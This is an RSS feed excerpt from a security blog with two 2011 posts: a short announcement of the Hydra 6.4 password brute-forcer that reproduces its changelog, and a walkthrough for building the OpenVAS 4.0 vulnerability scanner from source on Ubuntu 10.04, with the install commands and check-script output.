		<description><![CDATA[The latest version of Hydra has been released with some bug fixes. Problems noted in my post comparing hydra with ncrack and medusa have been addressed and after testing I can confirm these issues are no longer present. CHANGELOG for 6.4 ================= * Update SIP module to extract and use external IP addr return from [...]]]></description>
			<content:encoded><![CDATA[<p>The latest <a href="http://www.thc.org/thc-hydra/" title="password brute force cracking tool">version of Hydra</a> has been released with some bug fixes. Problems noted in <a href="http://hackertarget.com/2011/05/brute-forcing-passwords-with-ncrack-hydra-and-medusa/" title="brute force tools">my post comparing hydra with ncrack and medusa</a> have been addressed and after testing I can confirm these issues are no longer present.</p>
<blockquote class="bubble"><p>        CHANGELOG for 6.4<br />
        =================<br />
        * Update SIP module to extract and use external IP addr return from server error to bypass NAT<br />
        * Update SIP module to use SASL lib<br />
        * Update email modules to check clear mode when TLS mode failed<br />
        * Update Oracle Listener module to work with Oracle DB 9.2<br />
        * Update LDAP module to support Windows 2008 active directory simple auth<br />
        * Fix to the connection adaptation engine which would loose planned attempts<br />
        * Fix make script for CentOS, reported by ya0wei<br />
        * Print error when a service limits connections and few pairs have to be tested<br />
        * Improved Mysql module to only init/close when needed<br />
        * Added patch from the FreeBSD maintainers<br />
        * Module usage help does not need a target to be specified anymore<br />
        * configure script now honors /etc/ld.so.conf.d/ directory</p></blockquote>
<p><a href="http://www.thc.org/thc-hydra/"><br />
Hydra 6.4 Released</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/06/hydra-6-4-password-brute-forcer/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Installing OpenVas 4.0 on Ubuntu 10.04</title>
		<link>http://hackertarget.com/2011/06/installing-openvas-4-0-on-ubuntu-10-04/</link>
		<comments>http://hackertarget.com/2011/06/installing-openvas-4-0-on-ubuntu-10-04/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 10:34:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hackertarget.com/?p=1087</guid>
		<description><![CDATA[OpenVas 4.0 was released at the end of March, I have been busy and have not had a chance to fire up the production release. Today I built it from source using one of my test VPS servers. What follows is a quick summary of the process. I think I covered all the steps, however [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://openvas.org/news_archive.html#openvas4">OpenVas 4.0 was released</a> at the end of March, I have been busy and have not had a chance to fire up the production release. Today I built it from source using one of my test VPS servers. What follows is a quick summary of the process. I think I covered all the steps, however if you are not sure what you are doing you might want to test the <a href="http://openvas.org/vm.html">Virtual Server or live cd version</a> or try building this on a test <a href="http://www.ubuntu.com" title="Ubuntu Linux">Ubuntu</a> virtual build that takes about 10 mins to get going (VirtualBox rocks &#8211; &#8220;apt-get install virtualbox-ose&#8221;).</p>
<p>Lets get going, we are going to build a server version from source on Ubuntu 10.04 LTS, will give 11.04 a go in the near future. These packages should get you going.</p>
<blockquote><p>apt-get install build-essential cmake doxygen uuid libgpgme11 libgpgme11-dev libpcap0.8-dev libpcap0.8 uuid-dev pkg-config libglib2.0* autoconf libgnutls-dev bison sqlite3 libsqlite3-dev xsltproc libxslt1-dev libmicrohttpd-dev xmltoman</p></blockquote>
<p>Information for getting the wmi library <a href="http://svn.wald.intevation.org/svn/openvas/trunk/openvas-libraries/doc/wmi-howto.txt">built is here</a>, the following is a fast summary.</p>
<blockquote><p>wget http://www.openvas.org/download/wmi/wmi-1.3.14.tar.bz2</p>
<p>tar xjvf wmi-1.3.14.tar.bz2</p>
<p>To enable the WMI integration in OpenVAS, a patch needs to be applied to the<br />
source you just downloaded.</p>
<p>wget http://www.openvas.org/download/wmi/openvas-wmi-1.3.14.patch</p>
<p>Copy the patch to the wmi-1.3.14 directory you just created and apply the patch<br />
with the following command:</p>
<p>$ patch -p1 < openvas-wmi-1.3.14.patch</p>
<p>In the wmi-1.3.14 directory, execute the following commands:<br />
cd Samba/source<br />
./autogen.sh<br />
./configure<br />
make proto all<br />
make libraries</p>
<p>bash install-libwmiclient.sh</p></blockquote>
<p>Now we should be good to go on the main application building.</p>
<blockquote><p>wget http://wald.intevation.org/frs/download.php/862/openvas-scanner-3.2.3.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/871/openvas-manager-2.0.4.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/853/openvas-administrator-1.1.1.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/857/greenbone-security-assistant-2.0.1.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/860/gsd-1.1.1.tar.gz<br />
wget http://wald.intevation.org/frs/download.php/851/openvas-cli-1.1.2.tar.gz</p>
<p>tar zxvf openvas-cli-1.1.2.tar.gz<br />
tar zxvf openvas-libraries-4.0.5.tar.gz<br />
tar zxvf openvas-manager-2.0.4.tar.gz<br />
tar zxvf openvas-scanner-3.2.3.tar.gz<br />
tar zxvf openvas-administrator-1.1.1.tar.gz</p>
<p>cd openvas-libraries-4.0.5<br />
cmake .<br />
make<br />
make install</p>
<p>cd openvas-scanner-3.2.3<br />
cmake .<br />
make<br />
make install</p>
<p>cd openvas-cli-1.1.2<br />
cmake .<br />
make<br />
make install</p>
<p>cd openvas-administrator-1.1.1<br />
cmake .<br />
make<br />
make install</p>
<p>cd greenbone-security-assistant-2.0.1<br />
cmake .<br />
make<br />
make install</p>
<p>ldconfig</p></blockquote>
<p>Run the initial commands build your certificate and create an openvas user.</p>
<blockquote><p>openvas-mkcert<br />
openvas-adduser</p>
<p>openvas-nvt-sync<br />
< plugins scroll by -- snip ><br />
[i] Download complete<br />
[i] Checking dir: ok<br />
[i] Checking MD5 checksum: ok</p>
<p>openvassd<br />
Loading the plugins&#8230; 8058 (out of 21431)</p></blockquote>
<p>Looking good so far.</p>
<p>There are a lot of components to this installation. There is a handy script that checks your OpenVas configuration for problems. Download it, save as openvas-check.sh and run it.</p>
<blockquote><p>wget http://wald.intevation.org/plugins/scmsvn/viewcvs.php/*checkout*/trunk/tools/openvas-check-setup?root=openvas -O openvas-check.sh</p>
<p>./openvas-check.sh</p>
<p>openvas-check-setup 2.0.6<br />
  Test completeness and readiness of OpenVAS-4</p>
<p>  Please report us any non-detected problems and<br />
  help us to improve this check routine:</p>
<p>http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss</p>
<p>  Send us the log-file (/tmp/openvas-check-setup.log) to help analyze the problem.</p>
<p>  Use the parameter &#8211;server to skip checks for client tools<br />
  like GSD and OpenVAS-CLI.</p>
<p>Step 1: Checking OpenVAS Scanner &#8230;<br />
        OK: OpenVAS Scanner is present in version 3.2.3.<br />
        OK: OpenVAS Scanner CA Certificate is present as /usr/local/var/lib/openvas/CA/cacert.pem.<br />
        OK: NVT collection in /usr/local/var/lib/openvas/plugins contains 21431 NVTs.<br />
Step 2: Checking OpenVAS Manager &#8230;<br />
        OK: OpenVAS Manager is present in version 2.0.4.<br />
        OK: OpenVAS Manager client certificate is present as /usr/local/var/lib/openvas/CA/clientcert.pem.<br />
        ERROR: No OpenVAS Manager database found. (Tried: /usr/local/var/lib/openvas/mgr/tasks.db)<br />
        FIX: Run &#8216;openvasmd &#8211;rebuild&#8217; while OpenVAS Scanner is running.</p>
<p> ERROR: Your OpenVAS-4 installation is not yet complete!</p>
<p>Please follow the instructions marked with FIX above and run this<br />
script again.</p>
<p>If you think this result is wrong, please report your observation<br />
and help us to improve this check routine:</p>
<p>http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss</p>
<p>Please attach the log-file (/tmp/openvas-check-setup.log) to help us analyze the problem.</p></blockquote>
<p>Notice how the check script detects the problem and prompts you with a fix.</p>
<blockquote><p>openvasmd &#8211;rebuild</p></blockquote>
<p>We still have an error in openvas-check.sh results, but this is because we have not built the GSD (Greenbone security desktop). We are not building the desktop client as this is a remote server.  </p>
<blockquote><p>openvasd<br />
gsad<br />
openvasmd</p></blockquote>
<p>This should start up the services. The Greenbone Security Assistant runs on 80 and 443. You can use command line options force ssl. I have done some initial testing and have to say its impressive. Fast, responsive and intuitive &#8211; unlike <a href="http://www.nessus.org" title="Nessus Vulnerability Scanner">Nessus</a> and its flash based web gui that I find to be clunky and difficult to manage.</p>
<p>Version 4.0 of OpenVas is good at this stage. I will definitely have to do more testing and look at migrating <a href="http://hackertarget.com/openvas-scan/" title="Online Vulnerability Scanner">our version 3 based online scanning solution</a> to version 4.</p>
]]></content:encoded>
			<wfw:commentRss>http://hackertarget.com/2011/06/installing-openvas-4-0-on-ubuntu-10-04/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

